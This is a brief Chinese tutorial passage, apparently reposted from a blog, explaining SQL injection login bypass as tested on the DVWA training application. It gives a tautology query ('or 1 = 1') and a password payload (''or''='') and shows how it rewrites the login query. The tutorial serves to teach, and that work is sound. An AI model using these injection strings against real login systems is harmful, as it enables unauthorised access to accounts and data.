select user from users where user id = 1 or 1 = 1;
dvwa测试如下:



在用户名中随意填写,密码输入 ‘or‘‘=‘ 就实现了后台的登录。我们构造了一个特殊的参数,是原有的查询账号的逻辑发生错误,绕过认证登录系统。相当于构造了这样一条SQL语句:
select user,password from user where user_id = ‘随意写‘ and password=‘‘or‘‘=‘‘
原文:https://www.cnblogs.com/52kj/p/12408473.html